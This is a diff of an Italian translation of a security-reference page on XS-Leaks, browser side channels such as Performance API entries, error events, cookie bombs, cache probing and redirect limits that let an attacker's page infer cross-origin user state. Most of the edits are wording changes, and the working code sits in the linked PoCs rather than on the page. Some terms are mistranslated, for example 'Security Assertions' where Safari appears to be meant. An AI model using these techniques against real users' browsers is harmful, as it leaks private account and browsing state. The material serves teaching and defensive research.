-- **Summary:** Una richiesta che genera errori non creerà un'entrata di timing delle risorse.
+- **Summary:** Una richiesta che genera errori non creerà un'entrata di temporizzazione delle risorse.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
 
 È possibile **differenziare tra i codici di stato della risposta HTTP** perché le richieste che portano a un **errore** non **creano un'entrata di prestazione**.
 
-### Errore di ricarica dello stile
+### Errore di Ricarica Stile
 
 - **Inclusion Methods**: HTML Elements
 - **Detectable Difference**: Codice di stato
@@ -300,9 +300,9 @@ Oltre alle misurazioni temporali, l'API di Prestazioni può essere sfruttata per
 - **Summary:** A causa di un bug del browser, le richieste che generano errori vengono caricate due volte.
 - **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
 
-Nella tecnica precedente sono stati identificati anche due casi in cui i bug del browser in GC portano a **risorse caricate due volte quando non riescono a caricarsi**. Questo porterà a più voci nell'API di Prestazioni e può quindi essere rilevato.
+Nella tecnica precedente sono stati identificati anche due casi in cui i bug del browser in GC portano a **risorse caricate due volte quando non riescono a caricarsi**. Questo porterà a più voci nell'API delle prestazioni e può quindi essere rilevato.
 
-### Errore di fusione delle richieste
+### Errore di Fusione Richieste
 
 - **Inclusion Methods**: HTML Elements
 - **Detectable Difference**: Codice di stato
@@ -312,12 +312,12 @@ Nella tecnica precedente sono stati identificati anche due casi in cui i bug del
 
 La tecnica è stata trovata in una tabella nel documento menzionato, ma non è stata trovata alcuna descrizione della tecnica. Tuttavia, puoi trovare il codice sorgente controllandolo in [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
 
-### Perdita di pagina vuota
+### Perdita di Pagina Vuota
 
 - **Inclusion Methods**: Frames
 - **Detectable Difference**: Contenuto della pagina
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Le risposte vuote non creano voci di timing delle risorse.
+- **Summary:** Le risposte vuote non creano voci di temporizzazione delle risorse.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
 
 Un attaccante può rilevare se una richiesta ha portato a un corpo di risposta HTTP vuoto perché le **pagine vuote non creano un'entrata di prestazione in alcuni browser**.
@@ -327,58 +327,58 @@ Un attaccante può rilevare se una richiesta ha portato a un corpo di risposta H
 - **Inclusion Methods**: Frames
 - **Detectable Difference**: Contenuto della pagina
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Utilizzando l'Auditor XSS nelle Security Assertions, gli attaccanti possono rilevare specifici elementi della pagina web osservando le alterazioni nelle risposte quando i payload creati attivano il meccanismo di filtraggio dell'auditor.
+- **Summary:** Utilizzando l'Auditor XSS nelle Assicurazioni di Sicurezza, gli attaccanti possono rilevare specifici elementi della pagina web osservando le alterazioni nelle risposte quando i payload creati attivano il meccanismo di filtraggio dell'auditor.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
 
-Nelle Security Assertions (SA), l'Auditor XSS, originariamente destinato a prevenire attacchi Cross-Site Scripting (XSS), può paradossalmente essere sfruttato per rivelare informazioni sensibili. Sebbene questa funzione integrata sia stata rimossa da Google Chrome (GC), è ancora presente in SA. Nel 2013, Braun e Heiderich hanno dimostrato che l'Auditor XSS potrebbe bloccare involontariamente script legittimi, portando a falsi positivi. Sviluppando ulteriormente questo, i ricercatori hanno sviluppato tecniche per estrarre informazioni e rilevare contenuti specifici su pagine cross-origin, un concetto noto come XS-Leaks, inizialmente riportato da Terada e approfondito da Heyes in un post sul blog. Sebbene queste tecniche fossero specifiche per l'Auditor XSS in GC, è stato scoperto che in SA, le pagine bloccate dall'Auditor XSS non generano voci nell'API di Prestazioni, rivelando un metodo attraverso il quale informazioni sensibili potrebbero ancora essere rivelate.
+Nelle Assicurazioni di Sicurezza (SA), l'Auditor XSS, originariamente destinato a prevenire attacchi Cross-Site Scripting (XSS), può paradossalmente essere sfruttato per rivelare informazioni sensibili. Sebbene questa funzione integrata sia stata rimossa da Google Chrome (GC), è ancora presente in SA. Nel 2013, Braun e Heiderich hanno dimostrato che l'Auditor XSS potrebbe bloccare involontariamente script legittimi, portando a falsi positivi. Sviluppando ulteriormente, i ricercatori hanno sviluppato tecniche per estrarre informazioni e rilevare contenuti specifici su pagine cross-origin, un concetto noto come XS-Leaks, inizialmente riportato da Terada e approfondito da Heyes in un post sul blog. Sebbene queste tecniche fossero specifiche per l'Auditor XSS in GC, è stato scoperto che in SA, le pagine bloccate dall'Auditor XSS non generano voci nell'API delle prestazioni, rivelando un metodo attraverso il quale informazioni sensibili potrebbero ancora essere rivelate.
 
 ### Perdita di X-Frame
 
 - **Inclusion Methods**: Frames
 - **Detectable Difference**: Intestazione
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
-- **Summary:** Le risorse con intestazione X-Frame-Options non creano un'entrata di timing delle risorse.
+- **Summary:** Le risorse con intestazione X-Frame-Options non creano un'entrata di temporizzazione delle risorse.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
 
-Se una pagina **non è consentita** a essere **renderizzata** in un **iframe**, non crea **un'entrata di prestazione**. Di conseguenza, un attaccante può rilevare l'intestazione di risposta **`X-Frame-Options`**.\
+Se una pagina **non è consentita** ad essere **renderizzata** in un **iframe**, non crea **un'entrata di prestazione**. Di conseguenza, un attaccante può rilevare l'intestazione di risposta **`X-Frame-Options`**.\
 Lo stesso accade se utilizzi un **tag embed**.
 
-### Rilevamento download
+### Rilevamento Download
 
 - **Inclusion Methods**: Frames
 - **Detectable Difference**: Intestazione
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** I download non creano voci di timing delle risorse nell'API di Prestazioni.
+- **Summary:** I download non creano voci di temporizzazione delle risorse nell'API delle prestazioni.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
 
 Simile all'XS-Leak descritto, una **risorsa che viene scaricata** a causa dell'intestazione ContentDisposition, non crea **un'entrata di prestazione**. Questa tecnica funziona in tutti i principali browser.
 
-### Perdita di inizio reindirizzamento
+### Perdita di Inizio Redirect
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Reindirizzamento
+- **Detectable Difference**: Redirect
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** L'entrata di timing delle risorse rivela l'orario di inizio di un reindirizzamento.
+- **Summary:** L'entrata di temporizzazione delle risorse rivela il tempo di inizio di un redirect.
 - **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
 
-Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni browser che registrano troppe informazioni per le richieste cross-origin. Lo standard definisce un sottoinsieme di attributi che dovrebbero essere impostati a zero per le risorse cross-origin. Tuttavia, in **SA** è possibile rilevare se l'utente è **reindirizzato** dalla pagina target, interrogando l'**API di Prestazioni** e controllando i dati temporali di **redirectStart**.
+Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni browser che registrano troppe informazioni per le richieste cross-origin. Lo standard definisce un sottoinsieme di attributi che dovrebbero essere impostati a zero per le risorse cross-origin. Tuttavia, in **SA** è possibile rilevare se l'utente è **stato reindirizzato** dalla pagina target, interrogando l'**API delle prestazioni** e controllando i **dati temporali redirectStart**.
 
-### Perdita di durata reindirizzamento
+### Perdita di Durata Redirect
 
 - **Inclusion Methods**: Fetch API
-- **Detectable Difference**: Reindirizzamento
+- **Detectable Difference**: Redirect
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** La durata delle voci di timing è negativa quando si verifica un reindirizzamento.
+- **Summary:** La durata delle voci temporali è negativa quando si verifica un redirect.
 - **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
 
-In GC, la **durata** per le richieste che generano un **reindirizzamento** è **negativa** e può quindi essere **distinta** dalle richieste che non generano un reindirizzamento.
+In GC, la **durata** per le richieste che portano a un **redirect** è **negativa** e può quindi essere **distinta** dalle richieste che non portano a un redirect.
 
 ### Perdita di CORP
 
 - **Inclusion Methods**: Frames
 - **Detectable Difference**: Intestazione
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Le risorse protette con CORP non creano voci di timing delle risorse.
+- **Summary:** Le risorse protette con CORP non creano voci di temporizzazione delle risorse.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
 
 In alcuni casi, l'**entrata nextHopProtocol** può essere utilizzata come tecnica di perdita. In GC, quando l'**intestazione CORP** è impostata, nextHopProtocol sarà **vuota**. Nota che SA non creerà affatto un'entrata di prestazione per le risorse abilitate CORP.
@@ -391,9 +391,9 @@ In alcuni casi, l'**entrata nextHopProtocol** può essere utilizzata come tecnic
 - **Summary:** Rilevare se un service worker è registrato per una specifica origine.
 - **Code Example**:
 
-I service worker sono contesti di script basati su eventi che vengono eseguiti a un'origine. Eseguono in background di una pagina web e possono intercettare, modificare e **memorizzare nella cache le risorse** per creare applicazioni web offline.\
+I service worker sono contesti di script attivati da eventi che vengono eseguiti a un'origine. Eseguono in background di una pagina web e possono intercettare, modificare e **memorizzare nella cache le risorse** per creare applicazioni web offline.\
 Se una **risorsa memorizzata nella cache** da un **service worker** viene accessibile tramite **iframe**, la risorsa verrà **caricata dalla cache del service worker**.\
-Per rilevare se la risorsa è stata **caricata dalla cache del service worker**, può essere utilizzata l'**API di Prestazioni**.\
+Per rilevare se la risorsa è stata **caricata dalla cache del service worker**, può essere utilizzata l'**API delle prestazioni**.\
 Questo potrebbe essere fatto anche con un attacco di Timing (controlla il documento per ulteriori informazioni).
 
 ### Cache
@@ -404,9 +404,9 @@ Questo potrebbe essere fatto anche con un attacco di Timing (controlla il docume
 - **Summary:** È possibile controllare se una risorsa è stata memorizzata nella cache.
 - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
 
-Utilizzando l'[API di Prestazioni](./#performance-api) è possibile controllare se una risorsa è memorizzata nella cache.
+Utilizzando l'[API delle prestazioni](./#performance-api) è possibile controllare se una risorsa è memorizzata nella cache.
 
-### Durata di rete
+### Durata di Rete
 
 - **Inclusion Methods**: Fetch API
 - **Detectable Difference**: Contenuto della pagina
@@ -414,9 +414,9 @@ Utilizzando l'[API di Prestazioni](./#performance-api) è possibile controllare
 - **Summary:** È possibile recuperare la durata di rete di una richiesta dall'API `performance`.
 - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
 
-## Tecnica dei messaggi di errore
+## Tecnica dei Messaggi di Errore
 
-### Errore multimediale
+### Errore Media
 
 - **Inclusion Methods**: HTML Elements (Video, Audio)
 - **Detectable Difference**: Codice di stato
@@ -490,7 +490,7 @@ Questa tecnica consente a un attaccante di **estrarre la destinazione di un rein
 - **Riepilogo:** Nelle Security Assertions (SA), i messaggi di errore CORS espongono involontariamente l'URL completo delle richieste reindirizzate.
 - **Esempio di Codice**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
 
-Un attaccante può sfruttare **messaggi di errore dettagliati** per dedurre la dimensione delle risposte cross-origin. Questo è possibile grazie al meccanismo di Subresource Integrity (SRI), che utilizza l'attributo di integrità per convalidare che le risorse recuperate, spesso da CDN, non siano state manomesse. Affinché SRI funzioni su risorse cross-origin, queste devono essere **abilitate CORS**; altrimenti, non sono soggette a controlli di integrità. Nelle Security Assertions (SA), proprio come l'errore CORS XS-Leak, un messaggio di errore può essere catturato dopo che una richiesta di recupero con un attributo di integrità fallisce. Gli attaccanti possono deliberatamente **attivare questo errore** assegnando un **valore hash fasullo** all'attributo di integrità di qualsiasi richiesta. In SA, il messaggio di errore risultante rivela involontariamente la lunghezza del contenuto della risorsa richiesta. Questa perdita di informazioni consente a un attaccante di discernere variazioni nella dimensione della risposta, aprendo la strada a sofisticati attacchi XS-Leak.
+Un attaccante può sfruttare **messaggi di errore dettagliati** per dedurre la dimensione delle risposte cross-origin. Questo è possibile grazie al meccanismo di Subresource Integrity (SRI), che utilizza l'attributo di integrità per convalidare che le risorse recuperate, spesso da CDN, non siano state manomesse. Affinché SRI funzioni su risorse cross-origin, queste devono essere **abilitate CORS**; altrimenti, non sono soggette a controlli di integrità. Nelle Security Assertions (SA), proprio come l'errore CORS XS-Leak, un messaggio di errore può essere catturato dopo che una richiesta di fetch con un attributo di integrità fallisce. Gli attaccanti possono deliberatamente **attivare questo errore** assegnando un **valore hash fasullo** all'attributo di integrità di qualsiasi richiesta. In SA, il messaggio di errore risultante rivela involontariamente la lunghezza del contenuto della risorsa richiesta. Questa perdita di informazioni consente a un attaccante di discernere variazioni nella dimensione della risposta, aprendo la strada a sofisticati attacchi XS-Leak.
 
 ### Violazione/Rilevamento CSP
 
@@ -553,7 +553,7 @@ Controlla il link per ulteriori informazioni sull'attacco.
 - **Riepilogo**: Se l'intestazione Origin è riflessa nell'intestazione `Access-Control-Allow-Origin`, è possibile controllare se una risorsa è già nella cache.
 - **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
 
-Nel caso in cui l'**intestazione Origin** venga **riflessa** nell'intestazione `Access-Control-Allow-Origin`, un attaccante può abusare di questo comportamento per provare a **recuperare** la **risorsa** in modalità **CORS**. Se non viene **attivato** un **errore**, significa che è stata **recuperata correttamente dal web**, se viene **attivato** un errore, è perché è stata **accessibile dalla cache** (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio dell'attaccante)**.**\
+Nel caso in cui l'**intestazione Origin** venga **riflessa** nell'intestazione `Access-Control-Allow-Origin`, un attaccante può abusare di questo comportamento per provare a **recuperare** la **risorsa** in modalità **CORS**. Se non viene **attivato un errore**, significa che è stata **recuperata correttamente dal web**, se viene **attivato un errore**, è perché è stata **accessibile dalla cache** (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio dell'attaccante)**.**\
 Nota che se l'origine non è riflessa ma viene utilizzato un carattere jolly (`Access-Control-Allow-Origin: *`), questo non funzionerà.
 
 ## Tecnica degli Attributi Leggibili
@@ -588,8 +588,8 @@ Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin
 
 Se un reindirizzamento lato server utilizza **input dell'utente all'interno del reindirizzamento** e **dati extra**. È possibile rilevare questo comportamento perché di solito **i server** hanno un **limite di lunghezza della richiesta**. Se i **dati dell'utente** sono di quella **lunghezza - 1**, perché il **reindirizzamento** sta utilizzando **quelli dati** e **aggiungendo** qualcosa di **extra**, attiverà un **errore rilevabile tramite Error Events**.
 
-Se in qualche modo puoi impostare i cookie per un utente, puoi anche eseguire questo attacco impostando **abbastanza cookie** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) in modo che con la **dimensione della risposta aumentata** della **risposta corretta** venga attivato un **errore**. In questo caso, ricorda che se attivi questa richiesta da un sito stesso, `<script>` invierà automaticamente i cookie (quindi puoi controllare gli errori).\
+Se in qualche modo puoi impostare i cookie per un utente, puoi anche eseguire questo attacco **impostando un numero sufficiente di cookie** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) in modo che con la **dimensione della risposta aumentata** della **risposta corretta** venga attivato un **errore**. In questo caso, ricorda che se attivi questa richiesta da un sito stesso, `<script>` invierà automaticamente i cookie (quindi puoi controllare gli errori).\
-Un esempio di **cookie bomb + XS-Search** può essere trovato nella soluzione prevista di questo documento: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
+Un esempio di **cookie bomb + XS-Search** può essere trovato nella soluzione prevista di questo writeup: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
 
 `SameSite=None` o essere nello stesso contesto è solitamente necessario per questo tipo di attacco.
 
@@ -598,16 +598,16 @@ Un esempio di **cookie bomb + XS-Search** può essere trovato nella soluzione pr
 - **Metodi di Inclusione**: Pop-up
 - **Differenza Rilevabile**: Codice di Stato / Contenuto
 - **Ulteriori informazioni**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
-- **Riepilogo:** Rileva differenze nelle risposte perché la lunghezza della risposta di reindirizzamento potrebbe essere troppo grande per una richiesta da far notare una differenza.
+- **Riepilogo:** Rileva differenze nelle risposte perché la lunghezza della risposta di reindirizzamento potrebbe essere troppo grande per una richiesta da notare una differenza.
 - **Esempio di Codice**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
 
 Secondo la [documentazione di Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), la lunghezza massima dell'URL di Chrome è di 2MB.
 
-> In generale, la _piattaforma web_ non ha limiti sulla lunghezza degli URL (anche se 2^31 è un limite comune). _Chrome_ limita gli URL a una lunghezza massima di **2MB** per motivi pratici e per evitare di causare problemi di denial-of-service nella comunicazione interprocesso.
+> In generale, la _piattaforma web_ non ha limiti sulla lunghezza degli URL (anche se 2^31 è un limite comune). _Chrome_ limita gli URL a una lunghezza massima di **2MB** per motivi pratici e per evitare di causare problemi di denial-of-service nella comunicazione inter-processo.
 
 Pertanto, se la **risposta dell'URL di reindirizzamento è più grande in uno dei casi**, è possibile farlo reindirizzare con un **URL più grande di 2MB** per colpire il **limite di lunghezza**. Quando ciò accade, Chrome mostra una pagina **`about:blank#blocked`**.
 
-La **differenza evidente** è che se il **reindirizzamento** è stato **completato**, `window.origin` genera un **errore** perché un'origine cross non può accedere a quelle informazioni. Tuttavia, se il **limite** è stato \*\*\*\* colpito e la pagina caricata era **`about:blank#blocked`**, l'**origine** della finestra rimane quella del **genitore**, che è un **informazione accessibile.**
+La **differenza evidente** è che se il **reindirizzamento** è stato **completato**, `window.origin` genera un **errore** perché un'origine cross non può accedere a quelle informazioni. Tuttavia, se il **limite** è stato \*\*\*\* raggiunto e la pagina caricata era **`about:blank#blocked`**, l'**origine** della finestra rimane quella del **genitore**, che è un **informazione accessibile.**
 
 Tutte le informazioni extra necessarie per raggiungere i **2MB** possono essere aggiunte tramite un **hash** nell'URL iniziale in modo che venga **utilizzato nel reindirizzamento**.
 
@@ -623,7 +623,7 @@ url-max-length-client-side.md
 - **Riepilogo:** Utilizza il limite di reindirizzamento del browser per accertare l'occorrenza di reindirizzamenti URL.
 - **Esempio di Codice**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
 
-Se il **numero massimo** di **reindirizzamenti** da seguire di un browser è **20**, un attaccante potrebbe provare a caricare la propria pagina con **19 reindirizzamenti** e infine **inviare la vittima** alla pagina testata. Se viene **attivato** un **errore**, significa che la pagina stava cercando di **reindirizzare la vittima**.
+Se il **numero massimo** di **reindirizzamenti** da seguire di un browser è **20**, un attaccante potrebbe provare a caricare la propria pagina con **19 reindirizzamenti** e infine **inviare la vittima** alla pagina testata. Se viene **attivato un errore**, significa che la pagina stava cercando di **reindirizzare la vittima**.
 
 ### Lunghezza della Storia
 
@@ -696,7 +696,7 @@ La perdita di informazioni attraverso gli elementi HTML è una preoccupazione ne
 - **Metodi di Inclusione**: Elementi HTML
 - **Differenza Rilevabile**: Contenuto della Pagina
 - **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
-- **Riepilogo:** Identifica le variazioni nello stile del sito web che si correlano con lo stato o la condizione dell'utente.
+- **Riepilogo:** Identificare variazioni nello stile del sito web che si correlano con lo stato o la condizione dell'utente.
 - **Esempio di Codice**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
 
 Le applicazioni web possono cambiare lo **stile del sito web a seconda dello stato dell'uso**. I file CSS cross-origin possono essere incorporati nella pagina dell'attaccante con l'**elemento link HTML**, e le **regole** saranno **applicate** alla pagina dell'attaccante. Se una pagina cambia dinamicamente queste regole, un attaccante può **rilevare** queste **differenze** a seconda dello stato dell'utente.\
@@ -733,7 +733,7 @@ Per ulteriori dettagli su queste proprietà e metodi, visita le loro pagine di d
 - **Riepilogo:** In Google Chrome, viene visualizzata una pagina di errore dedicata quando una pagina è bloccata dall'essere incorporata in un sito cross-origin a causa delle restrizioni X-Frame-Options.
 - **Esempio di Codice**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
 
-In Chrome, se una pagina con l'intestazione `X-Frame-Options` impostata su "deny" o "same-origin" viene incorporata come oggetto, appare una pagina di errore. Chrome restituisce in modo unico un oggetto documento vuoto (anziché `null`) per la proprietà `contentDocument` di questo oggetto, a differenza degli iframe o di altri browser. Gli attaccanti potrebbero sfruttare questo rilevando il documento vuoto, rivelando potenzialmente informazioni sullo stato dell'utente, specialmente se gli sviluppatori impostano in modo incoerente l'intestazione X-Frame-Options, spesso trascurando le pagine di errore. La consapevolezza e l'applicazione coerente delle intestazioni di sicurezza sono cruciali per prevenire tali perdite.
+In Chrome, se una pagina con l'intestazione `X-Frame-Options` impostata su "deny" o "same-origin" viene incorporata come oggetto, appare una pagina di errore. Chrome restituisce in modo univoco un oggetto documento vuoto (anziché `null`) per la proprietà `contentDocument` di questo oggetto, a differenza degli iframe o di altri browser. Gli attaccanti potrebbero sfruttare questo rilevando il documento vuoto, rivelando potenzialmente informazioni sullo stato dell'utente, specialmente se gli sviluppatori impostano in modo incoerente l'intestazione X-Frame-Options, spesso trascurando le pagine di errore. La consapevolezza e l'applicazione coerente delle intestazioni di sicurezza sono cruciali per prevenire tali perdite.
 
 ### Rilevamento Download
 
@@ -743,7 +743,7 @@ In Chrome, se una pagina con l'intestazione `X-Frame-Options` impostata su "deny
 - **Riepilogo:** Un attaccante può discernere i download di file sfruttando gli iframe; la continua accessibilità dell'iframe implica un download di file riuscito.
 - **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
 
-L'intestazione `Content-Disposition`, specificamente `Content-Disposition: attachment`, istruisce il browser a scaricare contenuti anziché visualizzarli in linea. Questo comportamento può essere sfruttato per rilevare se un utente ha accesso a una pagina che attiva un download di file. Nei browser basati su Chromium, ci sono alcune tecniche per rilevare questo comportamento di download:
+L'intestazione `Content-Disposition`, specificamente `Content-Disposition: attachment`, istruisce il browser a scaricare contenuti anziché visualizzarli inline. Questo comportamento può essere sfruttato per rilevare se un utente ha accesso a una pagina che attiva un download di file. Nei browser basati su Chromium, ci sono alcune tecniche per rilevare questo comportamento di download:
 
 1. **Monitoraggio della Barra di Download**:
 - Quando un file viene scaricato nei browser basati su Chromium, appare una barra di download nella parte inferiore della finestra del browser.
@@ -753,7 +753,7 @@ L'intestazione `Content-Disposition`, specificamente `Content-Disposition: attac
 - Caricando il contenuto in un iframe e monitorando gli eventi di navigazione, è possibile verificare se la disposizione del contenuto causa un download di file (nessuna navigazione) o meno.
 3. **Navigazione di Download senza Iframe**:
 - Simile alla tecnica dell'iframe, questo metodo implica l'uso di `window.open` anziché un iframe.
-- Monitorare gli eventi di navigazione nella finestra appena aperta può rivelare se un download di file è stato attivato (nessuna navigazione) o se il contenuto è visualizzato in linea (si verifica la navigazione).
+- Monitorare gli eventi di navigazione nella nuova finestra aperta può rivelare se è stato attivato un download di file (nessuna navigazione) o se il contenuto viene visualizzato inline (si verifica la navigazione).
 
 In scenari in cui solo gli utenti autenticati possono attivare tali download, queste tecniche possono essere utilizzate per dedurre indirettamente lo stato di autenticazione dell'utente in base alla risposta del browser alla richiesta di download.
 
@@ -766,12 +766,12 @@ In scenari in cui solo gli utenti autenticati possono attivare tali download, qu
 - **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (da [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
 > [!WARNING]
-> Questo è il motivo per cui questa tecnica è interessante: Chrome ora ha **partizionamento della cache**, e la chiave della cache della pagina appena aperta è: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, ma se apro una pagina ngrok e uso fetch in essa, la chiave della cache sarà: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **chiave della cache è diversa**, quindi la cache non può essere condivisa. Puoi trovare maggiori dettagli qui: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
+> Questo è il motivo per cui questa tecnica è interessante: Chrome ora ha **partizionamento della cache**, e la chiave della cache della pagina appena aperta è: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, ma se apro una pagina ngrok e utilizzo fetch in essa, la chiave della cache sarà: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **chiave della cache è diversa**, quindi la cache non può essere condivisa. Puoi trovare maggiori dettagli qui: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
 > (Commento da [**qui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
 Se un sito `example.com` include una risorsa da `*.example.com/resource`, allora quella risorsa avrà la **stessa chiave di caching** come se la risorsa fosse stata direttamente **richiesta tramite navigazione di livello superiore**. Questo perché la chiave di caching è composta da _eTLD+1_ di livello superiore e _eTLD+1_ di frame.
 
-Poiché accedere alla cache è più veloce che caricare una risorsa, è possibile provare a cambiare la posizione di una pagina e annullarla 20 ms (ad esempio) dopo. Se l'origine è cambiata dopo l'arresto, significa che la risorsa è stata memorizzata nella cache.\
+Poiché accedere alla cache è più veloce che caricare una risorsa, è possibile provare a cambiare la posizione di una pagina e annullarla 20 ms (ad esempio) dopo. Se l'origine è stata cambiata dopo l'arresto, significa che la risorsa è stata memorizzata nella cache.\
 Oppure si potrebbe semplicemente **inviare alcune fetch alla pagina potenzialmente memorizzata nella cache e misurare il tempo che impiega**.
 
 ### Reindirizzamento Manuale <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
@@ -792,7 +792,7 @@ Oppure si potrebbe semplicemente **inviare alcune fetch alla pagina potenzialmen
 - **Riepilogo:** È possibile provare a caricare una risorsa e interrompere il caricamento prima che venga completato. A seconda se viene attivato un errore, la risorsa era o non era memorizzata nella cache.
 - **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
 
-Usa _**fetch**_ e _**setTimeout**_ con un **AbortController** per rilevare se la **risorsa è memorizzata nella cache** e per espellere una risorsa specifica dalla cache del browser. Inoltre, il processo avviene senza memorizzare nella cache nuovi contenuti.
+Utilizza _**fetch**_ e _**setTimeout**_ con un **AbortController** per rilevare se la **risorsa è memorizzata nella cache** e per espellere una risorsa specifica dalla cache del browser. Inoltre, il processo avviene senza memorizzare nella cache nuovi contenuti.
 
 ### Inquinamento degli Script
 
@@ -846,7 +846,7 @@ Qui puoi trovare tecniche per esfiltrare informazioni da un HTML cross-origin **
 
 ### Caricamento Pigro delle Immagini
 
-Se hai bisogno di **esfiltrare contenuti** e puoi **aggiungere HTML prima del segreto**, dovresti controllare le **tecniche comuni di markup pendente**.\
